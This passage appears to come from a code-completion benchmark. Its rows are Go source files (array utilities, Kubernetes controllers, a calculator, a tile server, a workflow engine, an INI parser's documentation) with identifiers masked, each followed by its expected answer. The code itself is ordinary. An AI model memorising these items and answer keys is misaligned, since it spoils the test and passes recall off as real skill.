my.mu.Lock() defer my.mu.Unlock() my.intersection(NewDestruction(values...)) return my } func (my *AnyArray[T]) difference(other *AnyArray[T]) { if other == nil || other.IsEmpty() { return } var difference = make([]T, 0) for _, value := range my.data { if !other.In(value) { difference = append(difference, value) } } my.data = difference } // Difference 取差集 func (my *AnyArray[T]) Difference(other *AnyArray[T]) *AnyArray[T] { my.mu.Lock() defer my.mu.Unlock() my.difference(other) return my } // DifferenceBySlice 取差集:通过切片 func (my *AnyArray[T]) DifferenceBySlice(other []T) *AnyArray[T] { my.mu.Lock() defer my.mu.Unlock() my.difference(New(other)) return my } // DifferenceByValues 取差集:通过值 func (my *AnyArray[T]) DifferenceByValues(values ...T) *AnyArray[T] { my.mu.Lock() defer my.mu.Unlock() my.difference(NewDestruction(values...)) return my } func (my *AnyArray[T]) union(other *AnyArray[T]) { if other == nil || other.IsEmpty() { return } var union = make([]T, 0) union = append(union, my.data...) for _, value := range other.data { if !my.In(value) { union = append(union, value) } } my.data = union } // Union 取并集 func (my *AnyArray[T]) Union(other *AnyArray[T]) *AnyArray[T] { my.mu.Lock() defer my.mu.Unlock() my.union(other) return my } // UnionBySlice 取并集:通过切片 func (my *AnyArray[T]) UnionBySlice(other []T) *AnyArray[T] { my.mu.Lock() defer my.mu.Unlock() my.union(New(other)) return my } // UnionByValues 取并集:通过值 func (my *AnyArray[T]) UnionByValues(values ...T) *AnyArray[T] { my.mu.Lock() defer my.mu.Unlock() my.union(NewDestruction(values...)) return my } func (my *AnyArray[T]) unique() *AnyArray[T] { seen := make(map[string]struct{}) // 使用空结构体作为值,因为我们只关心键 result := make([]T, 0) for _, value := range my.data { key := fmt.Sprintf(""%v"", value) if _, exists := seen[key]; !exists { seen[key] = struct{}{} result = append(result, value) } } my.data = result return my } // Unique 去重 func (my *AnyArray[T]) Unique() *AnyArray[T] { my.mu.Lock() defer my.mu.Unlock() return my.unique() } func (my *AnyArray[T]) removeByIndex(index int) *AnyArray[T] { if index < 0 || index >= len(my.data) { return my } my.data = append(my.data[:index], my.data[index+1:]...) return my } // RemoveByIndex 根据索引删除元素 func (my *AnyArray[T]) RemoveByIndex(index int) *AnyArray[T] { my.mu.Lock() defer my.mu.Unlock() return my.removeByIndex(index) } func (my *AnyArray[T]) removeByIndexes(indexes ...int) *AnyArray[T] { for _, index := range indexes { my.removeByIndex(index) } return my } // RemoveByIndexes 根据索引删除元素 func (my *AnyArray[T]) RemoveByIndexes(indexes ...int) *AnyArray[T] { my.mu.Lock() defer my.mu.Unlock() return my.removeByIndexes(indexes...) } func (my *AnyArray[T]) removeByValue(target T) *AnyArray[T] { var ret = make([]T, len(my.data)) j := 0 for _, value := range my.data { if !reflect.DeepEqual(value, target) { ret[j] = value j++ } } my.data = ret[:j] return my } // RemoveByValue 删除数组中对应的目标 func (my *AnyArray[T]) RemoveByValue(target T) *AnyArray[T] { my.mu.Lock() defer my.mu.Unlock() return my.removeByValue(target) } func (my *AnyArray[T]) removeByValues(targets ...T) *AnyArray[T] { for _, target := range targets { my.removeByValue(target) } return my } // RemoveByValues 删除数组中对应的多个目标 func (my *AnyArray[T]) RemoveByValues(targets ...T) *AnyArray[T] { my.mu.Lock() defer my.mu.Unlock() return my.removeByValues(targets...) } func (my *AnyArray[T]) every(fn func(item T) T) *AnyArray[T] { for idx := range my.data { v := fn(my.data[idx]) my.data[idx] = v } return my } // Every 循环处理每一个 func (my *AnyArray[T]) Every(fn func(item T) T) *AnyArray[T] { my.mu.Lock() defer my.mu.Unlock() return my.every(fn) } func (my *AnyArray[T]) each(fn func(idx int, item T)) *AnyArray[T] { for idx := range my.data { fn(idx, my.data[idx]) } return my } // Each 遍历数组 func (my *AnyArray[T]) Each(fn func(idx int, item T)) *AnyArray[T] { my.mu.Lock() defer my.mu.Unlock() return my.each(fn) } func (my *AnyArray[T]) clean() *AnyArray[T] { my.data = make([]T, 0) return my } // Clean 清理数据 func (my *AnyArray[T]) Clean() *AnyArray[T] { my.mu.Lock() defer my.mu.Unlock() return my.clean() } func (my *AnyArray[T]) marshalJson() ([]byte, error) { return json.Marshal(&my.data) } // MarshalJSON 实现接口:json序列化 func (my *AnyArray[T]) MarshalJSON() ([]byte, error) { my.mu.Lock() defer my.mu.Unlock() return my.marshalJson() } func (my *AnyArray[T]) unmarshalJson(data []byte) error { return json.Unmarshal(data, &my.data) } // UnmarshalJSON 实现接口:json反序列化 func (my *AnyArray[T]) UnmarshalJSON(data []byte) error { my.mu.Lock() defer my.mu.Unlock() return my.unmarshalJson(data) } // ToString 导出string func (my *AnyArray[T]) ToString(formats ...string) string { var format = ""%v"" if len(formats) > 0 { format = formats[0] } return fmt.Sprintf(format, my.data) } // Cast 转换值类型 func Cast[SRC, DST any](aa *AnyArray[SRC], fn func(value SRC) DST) *AnyArray[DST] { if aa == nil { return nil } aa.mu.Lock() defer aa.mu.Unlock() data := make([]DST, len(aa.data)) for i, v := range aa.data { data[i] = fn(v) } return New(data) } // ToAny converts any slice to []any func ToAny(slice any) []any { v := reflect.ValueOf(slice) if v.Kind() != reflect.Slice { return nil } result := make([]any, v.Len()) for i := range v.Len() { result[i] = v.Index(i).Interface() } return result } ",randStr 987,"package crdgen import ( ""bytes"" ""context"" ""crypto/sha256"" ""errors"" ""fmt"" ""io"" ""io/fs"" ""log"" ""os"" ""os/exec"" ""path/filepath"" ""github.com/krateoplatformops/crdgen/internal/assets"" ""github.com/krateoplatformops/crdgen/internal/coder"" ""k8s.io/apimachinery/pkg/runtime/schema"" ) type JsonSchemaGetter interface { Get() ([]byte, error) } type Options struct { WorkDir string GVK schema.GroupVersionKind Categories []string SpecJsonSchemaGetter JsonSchemaGetter StatusJsonSchemaGetter JsonSchemaGetter Managed bool Verbose bool } type Result struct { WorkDir string Manifest []byte Digest string GVK schema.GroupVersionKind Err error } func Generate(ctx context.Context, opts Options) (res Result) { if opts.Verbose { log.SetOutput(os.Stderr) } else { log.SetOutput(io.Discard) } [MASK] , err := opts.SpecJsonSchemaGetter.Get() if err != nil { res.Err = err return } res.GVK = opts.GVK nfo := coder.Resource{ Group: opts.GVK.Group, Version: opts.GVK.Version, Kind: opts.GVK.Kind, SpecSchema: [MASK] , Categories: opts.Categories, Managed: opts.Managed, } if opts.StatusJsonSchemaGetter != nil { nfo.StatusSchema, err = opts.StatusJsonSchemaGetter.Get() if err != nil { res.Err = err return } } cfg, err := defaultCodeGeneratorOptions(opts.WorkDir) if err != nil { res.Err = err return } res.WorkDir = cfg.Workdir clean := len(os.Getenv(""CRDGEN_CLEAN_WORKDIR"")) == 0 if clean { defer os.RemoveAll(cfg.Workdir) } if err := coder.Do(&nfo, cfg); err != nil { res.Err = err return } buf := bytes.Buffer{} err = assets.Render(&buf, ""go.mod"", map[string]string{ ""module"": cfg.Module, }) if err != nil { res.Err = err return } err = assets.Export(filepath.Join(cfg.Workdir, ""go.mod""), buf.Bytes()) if err != nil { res.Err = err return } cmd := exec.Command(""go"", ""mod"", ""tidy"") cmd.Dir = cfg.Workdir out, err := cmd.CombinedOutput() if err != nil { if len(out) > 0 { res.Err = fmt.Errorf(""%s: performing 'go mod tidy' (workdir: %s, module: %s, gvk: %s/%s,%s)"", string(out), cfg.Workdir, cfg.Module, nfo.Group, nfo.Version, nfo.Kind) return } res.Err = fmt.Errorf(""%s: performing 'go mod tidy' (workdir: %s, module: %s, gvk: %s/%s,%s)"", err.Error(), cfg.Workdir, cfg.Module, nfo.Group, nfo.Version, nfo.Kind) return } cmd = exec.Command(""go"", ""run"", ""--tags"", ""generate"", ""sigs.k8s.io/controller-tools/cmd/controller-gen"", ""object:headerFile=./hack/boilerplate.go.txt"", ""paths=./..."", ""crd:crdVersions=v1"", ""output:artifacts:config=./crds"", ) cmd.Dir = cfg.Workdir out, err = cmd.CombinedOutput() if err != nil { if len(out) > 0 { res.Err = fmt.Errorf(""%s: performing 'go run --tags generate...' (workdir: %s, module: %s, gvk: %s/%s,%s)"", string(out), cfg.Workdir, cfg.Module, nfo.Group, nfo.Version, nfo.Kind) return } res.Err = fmt.Errorf(""%s: performing 'go run --tags generate...' (workdir: %s, module: %s, gvk: %s/%s,%s)"", err.Error(), cfg.Workdir, cfg.Module, nfo.Group, nfo.Version, nfo.Kind) return } fsys := os.DirFS(cfg.Workdir) all, err := fs.ReadDir(fsys, ""crds"") if err != nil { res.Err = err return } fp, err := fsys.Open(filepath.Join(""crds"", all[0].Name())) if err != nil { res.Err = err return } defer fp.Close() res.Manifest, res.Err = io.ReadAll(fp) if res.Err != nil { return } h := sha256.New() _, res.Err = h.Write( [MASK] ) if len(nfo.StatusSchema) > 0 { _, res.Err = h.Write(nfo.StatusSchema) res.Digest = fmt.Sprintf(""%x"", h.Sum(nil)) return } res.Digest = fmt.Sprintf(""%x"", h.Sum(nil)) return } func defaultCodeGeneratorOptions(rootDir string) (opts coder.Options, err error) { opts.Module = fmt.Sprintf(""github.com/krateoplatformops/%s"", rootDir) opts.Workdir = filepath.Join(os.TempDir(), opts.Module) err = os.MkdirAll(opts.Workdir, os.ModePerm) if err != nil { if !errors.Is(err, os.ErrExist) { return opts, err } } return opts, nil } ",spec 988,"package majorupgradechecklist import ( ""bytes"" ""encoding/json"" ""io/ioutil"" ""github.com/chef/automate/components/automate-deployment/pkg/cli"" ""github.com/chef/automate/components/automate-deployment/pkg/client"" ""github.com/chef/automate/components/automate-deployment/pkg/manifest"" ""github.com/sirupsen/logrus"" ) type Checklist struct { Name string Description string TestFunc func(ChecklistHelper) error } type ChecklistHelper struct { Writer cli.FormatWriter } func ReadJsonFile(path string) (*PostChecklist, error) { byteValue, err := ioutil.ReadFile(path) // nosemgrep if err != nil { return nil, err } params := PostChecklist{} err = json.Unmarshal(byteValue, ¶ms) if err != nil { return nil, err } return ¶ms, nil } func CreateJsonFile(params *PostChecklist, path string) error { var buffer bytes.Buffer data, err := json.Marshal(*params) if err != nil { return err } buffer.Write(data) buffer.WriteString(""\n"") err = ioutil.WriteFile(path, buffer.Bytes(), 0644) // nosemgrep if err != nil { return err } return nil } func GetMajorVersion(version string) (string, bool) { resp, [MASK] := manifest.IsSemVersionFmt(version) if [MASK] { return resp, [MASK] } return version, false } func IsExternalElasticSearch(writer cli.FormatWriter) bool { res, err := client.GetAutomateConfig(int64(client.DefaultClientTimeout)) if err != nil { logrus.Error(""failed to get elastic search configuration: "", err.Error()) return false } return res.Config.GetGlobal().GetV1().GetExternal().GetElasticsearch().GetEnable().GetValue() } ",is_major_version 989,"package controllers import ( ""context"" ""github.com/go-logr/logr"" appsv1 ""k8s.io/api/apps/v1"" corev1 ""k8s.io/api/core/v1"" k8serrors ""k8s.io/apimachinery/pkg/api/errors"" metav1 ""k8s.io/apimachinery/pkg/apis/meta/v1"" ""k8s.io/apimachinery/pkg/types"" ""sigs.k8s.io/controller-runtime/pkg/controller/controllerutil"" controllerruntime ""sigs.k8s.io/controller-runtime"" ""sigs.k8s.io/controller-runtime/pkg/client"" ""sigs.k8s.io/controller-runtime/pkg/reconcile"" ) const ( DefaultAvahiPublishImage = ""ghcr.io/tanemahuta/avahi-publish:0.8-r13-alpine3.19"" PublishAnnotation = ""service.beta.kubernetes.io/avahi-publish"" MountNameDBUS = ""dbus"" MountPathDBUS = ""/var/run/dbus"" ) var _ reconcile.Reconciler = &Service{} //+kubebuilder:rbac:groups="""",resources=services,verbs=get;list;watch //+kubebuilder:rbac:groups=apps,resources=deployments,verbs=get;list;watch;create;patch;delete type Service struct { // HostnameSuffix to be appended. HostnameSuffix string // AvahiPublishImage to be used. AvahiPublishImage string // Client to be used to apply the deployments. Client client.Client } func (s *Service) Reconcile(ctx context.Context, request reconcile.Request) (reconcile.Result, error) { var ( result reconcile.Result svc corev1.Service ) if err := s.Client.Get(ctx, request.NamespacedName, &svc); err != nil { if !k8serrors.IsNotFound(err) { return result, err } } hostname, address := s.hostnameAndAddress(&svc) ctx = logr.NewContext(ctx, logr.FromContextOrDiscard(ctx).V(1)) if svc.GetDeletionTimestamp() == nil && len(hostname) > 0 && len(address) > 0 { return result, s.createDeployment(ctx, &svc, hostname, address) } return result, s.removeDeployment(ctx, request.NamespacedName) } func (s *Service) SetupWithManager(mgr controllerruntime.Manager) error { s.Client = mgr.GetClient() return controllerruntime.NewControllerManagedBy(mgr).For(&corev1.Service{}).Owns(&appsv1.Deployment{}).Complete(s) } func (s *Service) hostnameAndAddress(svc *corev1.Service) (string, string) { if svc.Annotations == nil { return """", """" } // Stop if publishing is not requested hostname, ok := svc.Annotations[PublishAnnotation] if !ok { return """", """" } if hostname == ""-"" { hostname = svc.Name + ""."" + svc.Namespace } // Add the hostname suffix hostname += ""."" + s.HostnameSuffix for _, ingress := range svc.Status.LoadBalancer.Ingress { if address := ingress.IP; len(address) > 0 { return hostname, address } } return """", """" } func (s *Service) deploymentKey(serviceKey types.NamespacedName) client.ObjectKey { return client.ObjectKey{Namespace: serviceKey.Namespace, Name: ""avahi-"" + serviceKey.Name} } func (s *Service) createDeployment(ctx context.Context, svc *corev1.Service, hostname string, address string) error { deploymentKey := s.deploymentKey(client.ObjectKeyFromObject(svc)) log := logr.FromContextOrDiscard(ctx).WithValues(""deployment"", deploymentKey) deployment := appsv1.Deployment{ ObjectMeta: metav1.ObjectMeta{Namespace: deploymentKey.Namespace, Name: deploymentKey.Name}, } if err := s.Client.Get(ctx, deploymentKey, &deployment); err != nil { if k8serrors.IsNotFound(err) { log.Info(""creating the deployment"") if err = s.applyValues(svc, hostname, address, &deployment); err != nil { return err } return s.Client.Create(ctx, &deployment) } return err } var [MASK] appsv1.Deployment deployment.DeepCopyInto(& [MASK] ) patch := client.MergeFrom(& [MASK] ) if err := s.applyValues(svc, hostname, address, &deployment); err != nil { return err } log.Info(""patching the deployment"") return s.Client.Patch(ctx, &deployment, patch) } func (s *Service) applyValues(svc *corev1.Service, hostname string, address string, d *appsv1.Deployment) error { if err := controllerutil.SetOwnerReference(svc, d, s.Client.Scheme()); err != nil { return err } labels := map[string]string{ ""service.kubernetes.io/name"": svc.Name, ""service.kubernetes.io/namespace"": svc.Namespace, } d.Spec = appsv1.DeploymentSpec{ Replicas: ptr(int32(1)), Selector: &metav1.LabelSelector{MatchLabels: labels}, Template: corev1.PodTemplateSpec{ ObjectMeta: metav1.ObjectMeta{Labels: labels}, Spec: corev1.PodSpec{ Containers: []corev1.Container{ { Name: ""avahi-publish"", Image: s.avahiPublishImage(), Args: []string{hostname, address}, VolumeMounts: []corev1.VolumeMount{ {Name: MountNameDBUS, ReadOnly: true, MountPath: MountPathDBUS}, }, ImagePullPolicy: corev1.PullIfNotPresent, SecurityContext: &corev1.SecurityContext{Privileged: ptr(true)}, }, }, Volumes: []corev1.Volume{ { Name: MountNameDBUS, VolumeSource: corev1.VolumeSource{HostPath: &corev1.HostPathVolumeSource{Path: MountPathDBUS}}, }, }, }, }, Strategy: appsv1.DeploymentStrategy{Type: appsv1.RecreateDeploymentStrategyType}, } return nil } func (s *Service) removeDeployment(ctx context.Context, name types.NamespacedName) error { deploymentKey := s.deploymentKey(name) log := logr.FromContextOrDiscard(ctx).WithValues(""deployment"", deploymentKey) var deployment appsv1.Deployment if err := s.Client.Get(ctx, deploymentKey, &deployment); err != nil { // Skip not found if k8serrors.IsNotFound(err) { log.Info(""deployment not found"") return nil } return err } log.Info(""deleting deployment"") // Skip not found if err := s.Client.Delete(ctx, &deployment); !k8serrors.IsNotFound(err) { return err } return nil } func (s *Service) avahiPublishImage() string { if len(s.AvahiPublishImage) != 0 { return s.AvahiPublishImage } return DefaultAvahiPublishImage } func ptr[T any](t T) *T { return &t } ",patchSource 990,"package main import ( ""fmt"" ""math"" ) func main() { var NumberA float64 var NumberB float64 var NumberC float64 var Operator string [MASK] := ""Yes"" Here: fmt.Println(""This Is A Calculator. You Enter a valid Operator & Two Numbers. This program will give you the results of those two numbers"") fmt.Println(""Add '+' , Subtract '-' , Multiply '*' , Divide '/' , Power '^' , sin() 'sin' , cos() 'cos' , tan() 'tan' , sinh() 'sinh' , cosh() 'cosh' , tanh() 'tanh' are valid Operators"") for [MASK] == ""Yes"" || [MASK] == ""yes"" || [MASK] == ""Y"" || [MASK] == ""y"" || [MASK] == ""YES"" || [MASK] == ""yEs"" || [MASK] == ""yES"" || [MASK] == ""yeS"" || [MASK] == ""YeS"" || Operator == ""YEs"" { fmt.Print(""Enter A Valid Operator "") fmt.Scan(&Operator) if Operator == ""sin"" || Operator == ""cos"" || Operator == ""tan"" || Operator == ""Sin"" || Operator == ""SIN"" || Operator == ""Cos"" || Operator == ""COS"" || Operator == ""Tan"" || Operator == ""TAN"" || Operator == ""SINH"" || Operator == ""COSH"" || Operator == ""TANH"" || Operator == ""sinh"" || Operator == ""cosh"" || Operator == ""tanh"" { fmt.Print(""Enter A Number "") fmt.Scan(&NumberC) switch Operator { case ""Sin"": Operator = ""sin"" break case ""SIN"": Operator = ""sin"" break case ""Cos"": Operator = ""cos"" break case ""COS"": Operator = ""cos"" break case ""Tan"": Operator = ""tan"" break case ""TAN"": Operator = ""tan"" break case ""SINH"": Operator = ""sinh"" break case ""COSH"": Operator = ""cosh"" break case ""TANH"": Operator = ""tanh"" break } } else if Operator == ""+"" || Operator == ""-"" || Operator == ""*"" || Operator == ""/"" || Operator == ""^"" { fmt.Print(""Enter The First Number "") fmt.Scan(&NumberA) fmt.Print(""Enter The Second Number "") fmt.Scan(&NumberB) } else { fmt.Println(""Invalid Syntax"") goto Here } switch Operator { case ""+"": fmt.Println(NumberA, ""+"", NumberB, ""="", NumberA+NumberB) break case ""-"": fmt.Println(NumberA, ""-"", NumberB, ""="", NumberA-NumberB) break case ""*"": fmt.Println(NumberA, ""*"", NumberB, ""="", NumberA*NumberB) break case ""/"": fmt.Println(NumberA, ""/"", NumberB, ""="", NumberA/NumberB) break case ""^"": fmt.Println(NumberA, ""^"", NumberB, ""="", math.Pow(NumberA, NumberB)) break case ""sin"": fmt.Println(""sin("", NumberC, "") ="", math.Sin(NumberC)) break case ""cos"": fmt.Println(""cos("", NumberC, "") ="", math.Cos(NumberC)) break case ""tan"": fmt.Println(""tan("", NumberC, "") ="", math.Tan(NumberC)) break case ""sinh"": fmt.Println(""sinh("", NumberC, "") = "", math.Sinh(NumberC)) break case ""cosh"": fmt.Println(""cosh("", NumberC, "") ="", math.Cosh(NumberC)) break case ""tanh"": fmt.Println(""tanh("", NumberC, "") ="", math.Tanh(NumberC)) break } fmt.Print(""Do You Want To Perform Another Calculation? Yes or No "") fmt.Scan(& [MASK] ) } } ",Repeat 991,"/* Copyright <>. Licensed under the Apache License, Version 2.0 (the ""License""); you may not use this file except in compliance with the License. You may obtain a copy of the License at http://www.apache.org/licenses/LICENSE-2.0 Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an ""AS IS"" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. */ package cmd import ( ""fmt"" ""os"" ""github.com/kyokomi/emoji"" ""github.com/mudler/kubecfctl/pkg/deployments"" kubernetes ""github.com/mudler/kubecfctl/pkg/kubernetes"" ""github.com/spf13/cobra"" ""github.com/spf13/viper"" ) var deleteCmd = &cobra.Command{ Use: ""delete [COMPONENT]"", Short: ""deletes a deployment"", Aliases: []string{""inst""}, Long: `This command deletes a deployment in your cluster To list the available deployments, run: $ kubecfctl list Then to delete a component, simply run: $ kubecfctl delete [COMPONENT] `, PreRun: func(cmd *cobra.Command, args []string) { viper.BindPFlag(""eirini"", cmd.Flags().Lookup(""eirini"")) viper.BindPFlag(""ingress"", cmd.Flags().Lookup(""ingress"")) viper.BindPFlag(""debug"", cmd.Flags().Lookup(""debug"")) viper.BindPFlag(""version"", cmd.Flags().Lookup(""version"")) viper.BindPFlag(""chart"", cmd.Flags().Lookup(""chart"")) viper.BindPFlag(""quarks-chart"", cmd.Flags().Lookup(""quarks-chart"")) viper.BindPFlag(""additional-namespace"", cmd.Flags().Lookup(""additional-namespace"")) }, Run: func(cmd *cobra.Command, args []string) { eirini := viper.GetBool(""eirini"") ingress := viper.GetBool(""ingress"") debug := viper.GetBool(""debug"") version := viper.GetString(""version"") chartURL := viper.GetString(""chart"") [MASK] := viper.GetString(""quarks-chart"") additionalNamespaces := viper.GetStringSlice(""additional-namespace"") cluster, err := kubernetes.NewCluster(os.Getenv(""KUBECONFIG"")) if err != nil { fmt.Println(err) os.Exit(1) } emoji.Println(cluster.GetPlatform().Describe()) inst := kubernetes.NewInstaller() d, err := deployments.GlobalCatalog.Deployment(args[0], deployments.DeploymentOptions{ Version: version, Eirini: eirini, Timeout: 1000, Ingress: ingress, Debug: debug, ChartURL: chartURL, QuarksURL: [MASK] , AdditionalNamespaces: additionalNamespaces, }) if err != nil { fmt.Println(err) os.Exit(1) } err = inst.Delete(d, *cluster) if err != nil { fmt.Println(err) os.Exit(1) } }, } func init() { deleteCmd.Flags().Bool(""eirini"", false, ""Enable/Disable Eirini"") deleteCmd.Flags().Bool(""ingress"", false, ""Enable ingress"") deleteCmd.Flags().String(""chart"", """", ""Chart URL (tgz)"") deleteCmd.Flags().String(""quarks-chart"", """", ""Quarks Chart URL (tgz)"") deleteCmd.Flags().String(""version"", """", ""Component version to deploy"") deleteCmd.Flags().StringSlice(""additional-namespace"", []string{}, ""Additional namespaces to watch for (optional, required only by Quarks) "") RootCmd.AddCommand(deleteCmd) } ",quarksChart 992,"package main import ( ""My/CustomTileMapServer/common"" ""database/sql"" ""encoding/json"" ""fmt"" ""io/ioutil"" ""net/http"" ""os"" ""time"" ) type httpConf struct { MysqlConf *common.MysqlInfo HttpServerListen string } var mConf *httpConf func init() { mConf = &httpConf{&common.MysqlInfo{}, """"} data, e := ioutil.ReadFile(""../conf/conf.json"") if e != nil { fmt.Println(e) } e = json.Unmarshal(data, mConf) if e != nil { fmt.Println(e) } else { fmt.Println(mConf.MysqlConf, mConf.HttpServerListen) } } func main() { signalExit := make(chan int) run() for { select { case a := <-signalExit: os.Exit(a) default: time.Sleep(time.Second * 2) } } } func run() { db, e := sql.Open(""mysql"", mConf.MysqlConf.MysqlDataSourceName) if e != nil { fmt.Println(e.Error()) } else { fmt.Println(""mysql open"") } db.SetMaxOpenConns(300) db.SetConnMaxLifetime(time.Minute * 1) db.SetMaxIdleConns(300) common.DbMySql = db defer db.Close() startHttpServer() } func startHttpServer() { http.HandleFunc(""/roadmap"", roadMapTile) http.ListenAndServe(mConf.HttpServerListen, nil) } func roadMapTile(w http.ResponseWriter, r *http.Request) { data := getTileData(r.URL.RawQuery) if data == nil { fmt.Println(""data is nil :"" + r.URL.RawQuery) w.WriteHeader(404) } else { w.WriteHeader(200) w.Write(data) fmt.Println(r.URL.RawQuery) } } func getTileData(id string) []byte { [MASK] , e := common.DbMySql.Prepare(""select img from "" + mConf.MysqlConf.MapTableName + "" where id=?"") if e != nil { fmt.Println(e) return nil } defer [MASK] .Close() rows, e := [MASK] .Query(id) if e != nil { fmt.Println(e) return nil } defer rows.Close() var data []byte if rows.Next() { e = rows.Scan(&data) if e != nil { fmt.Println(e) } return data } return nil } ",smt 993,"package bingo_conductor //引擎 type Engine struct { instance FlowInstance //实例 flow *Flow tm *TaskManager //任务管理 } func (this *Engine)Init(id string,f *Flow) { this.flow=f this.instance=FlowInstance{} this.instance.Id=id this.instance.Version=f.Version this.instance.Name=f.Name } //执行 func (this *Engine)Run(){ RUNTASK: //获取当前节点 [MASK] :=this.instance.task //获取节点定义,产生任务,执行 t:=this.flow.GetTask( [MASK] .TaskName) this.runTask(t.Name) //更新任务状态 this.commitTask() //更新流程节点 this.instance.task=this.GetNext() //如果没有节点,表示已经进行完成 if this.instance.task.Id=="""" { //TODO 更新流程状态为完成 return }else { //执行下一步 goto RUNTASK } } //执行任务 func (this *Engine) runTask(name string){ _,plugin:=this.tm.GetTask(name) plugin.GetName() } //更新任务状态 func (this *Engine) commitTask(){ } //获取下一个节点 func (this *Engine) GetNext() TaskInstance { return TaskInstance{} } ",taskinstance 994,"// Copyright 2017 Granitic. All rights reserved. // Use of this source code is governed by an Apache 2.0 license that can be found in the LICENSE file at the root of this project. /* Package inifile provides a Go struct that can parse an INI-style file and make the configuration in that file available via a series of type-safe data accessors. Parsing and data-access behaviour can be configured to support most INI file variants. Parsing To parse an INI file and obtain an instance of IniConfig to access your configuration, call one of: inifile.NewIniConfigFromPath(string) inifile.NewIniConfigFromFile(*os.File) inifile.NewIniConfigFromPathWithOptions(string, *IniOptions) inifile.NewIniConfigFromFileWithOptions(*os.File, *IniOptions) For example: import ""github.com/graniticio/inifile"" func main() { ic, err := inifile.NewIniConfigFromPath(""/path/to/file.ini"") } Accessing properties The key/value items in an INI file are referred to as properties. Each property is part of a section (properties in an INI file defined before any [section] delimiters are considered to be part of the 'global' section). Values are stored as strings. You can retrieve the value associated with a property by using one of: Value(sectionName, propertyName string) ValueAsFloat64(sectionName, propertyName string) ValueAsInt64(sectionName, propertyName string) ValueAsUint64(sectionName, propertyName string) ValueAsBool(sectionName, propertyName string) These methods will return an error if the requested section or name does not exist or if the value associated with the requested property could not be converted to the request data type. To check that a section of property exists before you call one of these functions use: SectionExists(sectionName string) PropertyExists(sectionName, propertyName string) Methods exist to return the zero value for a type instead of an error if the section/property didn't exist or if there was a problem converting the value to the requested type: ValueOrZero(sectionName, propertyName string) ValueOrZeroAsFloat64(sectionName, propertyName string) ValueOrZeroAsInt64(sectionName, propertyName string) ValueOrZeroAsUint64(sectionName, propertyName string) ValueOrZeroAsBool(sectionName, propertyName string) Accessing properties in the global section Use the constant inifile.GLOBAL_SECTION as the sectionName when calling any of the above functions to work with properties that are not attached to a named section Accessing properties via an IniSection If your code needs multiple property values from the same section: a, err := ic.Value(""section1"", ""a"") b, err := ic.Value(""section1"", ""b"") c, err := ic.Value(""section1"", ""c"") it is recommended that you use an IniSection object, which offers the same functions as IniConfig but is bound to a single section: is, err := ic.Section(""section1"") a, err := is.Value(""a"") b, err := is.Value(""b"") c, err := is.Value(""c"") Adding new properties Properties can be added to an IniConfig at runtime by calling: Add(section, propertyName string, value string) Customising parsing and configuration access As INI files are not governed by an agreed standard, there are a number of variations in the structure and features found in real-world INI files. To accommodate these variations, you can modify the IniOptions used when creating an IniConfig object. The recommended practice is to use the DefaultIniOptions() function to create a baseline set of options and then only modify those you need to change (see the documentation for DefaultIniOptions below to see what the default values are). For example: opts := inifile.DefaultIniOptions() opts.CommentStart = ""#"" ic, err := NewIniConfigFromPathWithOptions(""/path/to/file.ini"", opts) will parse a file using # instead of ; to identify comment lines. Case-sensitivity for section and property names By default look-ups of sections and properties are case sensitive - Value(""mysection"", ""myproperty"") would not match a property called myProperty in a section called [MYPROPERTY]. This is not the behaviour of many Windows implementations of INI file libraries, so you might find files that mix and match cases. To support this behaviour set: CaseSensitive = false in your IniOptions. Comment lines Most INI files use the semi-colon symbol at the start of a line to indicate that the line is a comment. There are notable exceptions, including MySQL INI files, that use a different character, often #. To support this set: CommentStart = ""#"" in your IniOptions. Property names and values with spaces For readability, some INI files align property names and values like: basedir = /usr datadir = /var/lib/mysql By default the whitespace either side of the property name and value is discarded and not considered part of the property name or value. This behaviour can be disabled by setting: TrimProperties = false in your IniOptions. Blank lines For readability, most INI files use blank lines to break up sections and properties. To disallow this and return an error if blank lines are encountered set: TolerateBlankLines = false in your IniOptions. Allow properties outside of a section Some INI files have properties defined before the first [Section]. These properties are considered to be in the 'global' section and by default this behaviour is supported. To forbid properties in the global section, set: AllowGlobalSection = false in your IniOptions. Use the inifile.GLOBAL_SECTION constant as the section name to access properties in the global section. Unset properties Some INI files allow a property to be defined without a value like [Reference] randomNumberSeed= This can be problematic if, when set, that property is expected to hold a value of a specific data-type (a float in example above). Calling ValueAsFloat64 on the above would return an error. By default, IniConfig ignores any unset properties, so in the above example calling PropertyExists(""Reference"", ""randomNumberSeed"") would return false To reverse this behaviour and have any unset properties stored with """" as their value, set: DiscardPropertiesWithNoValue = false in your IniOptions. Boolean values Go's strconv.ParseBool is extremely permissive about the values it considers to represent true or false (see https://golang.org/pkg/strconv/#ParseBool) and by default calling ValueAsBool(sectionName, propertyName string) Will use those rules when trying to interpret a string value as a bool. Many applications require bool representations to be more precise or use counter-intuitive values for true/false. This behaviour can supported by setting UseGoBoolRules = false in your IniOptions and then providing values for StrictBoolTrue StrictBoolFalse e.g: StrictBoolTrue = ""0"" StrictBoolFalse = ""-1"" To support case-insensitve matching of the values in StrictBoolTrue and StrictBoolFalse set: StrictBoolCaseSensitive = false Unparseable lines By default, an INI file will not parse correctly if a line is encountered in the file that cannot be interpreted as a section, comment, property or a blank line. To ignore unparseable lines, set: IgnoreUnparseable = true in your IniOptions. Inline comments Some INI files allow a comment on the same line as a property or section: [database] ;Connection information host=localhost ;Default to localhost By default this behaviour is not supported and the value of [database].host will be ""host ;Default to localhost"". To allow inline comments set: AllowInlineComments true When inline comments are allowed, you must escape any instances of the comment start character in your section names, property names and property values. The default escape prefix is \ but you can change this by setting: CommentEscapePrefix to whatever character you want. For example, with CommentStart = "";"" and CommentEscapePrefix=""\"" your INI file might contain [messages] message=Service is too busy\;load is high ;Message shown when site is down The value returned by Value(""messages"", ""message"") would be ""Service is too busy;load is high"" Quoted values Some INI files surround their values with quotes like: inbox=""/folder/with spaces"" outbox='/another folder/sub-folder' By default these enclosing quotes are preserved and are included when you retrieve the property's value. To change this behaviour, set: StripEnclosingQuotes = true in your IniOptions. The runes (characters) that will be recognised as enclosing quotes are defined in EnclosingQuoteSymbols and default to the single (') and double ("") quote symbols. */ package inifile import ( ""os"" ""bufio"" ""regexp"" ""strings"" ""errors"" ""fmt"" ""strconv"" ) type sectionPropertyMap map[string]map[string]*nilableString // If your INI file contains properties outside of a named section, use this constant as the 'section name' when // looking up property values. For example: // // val, 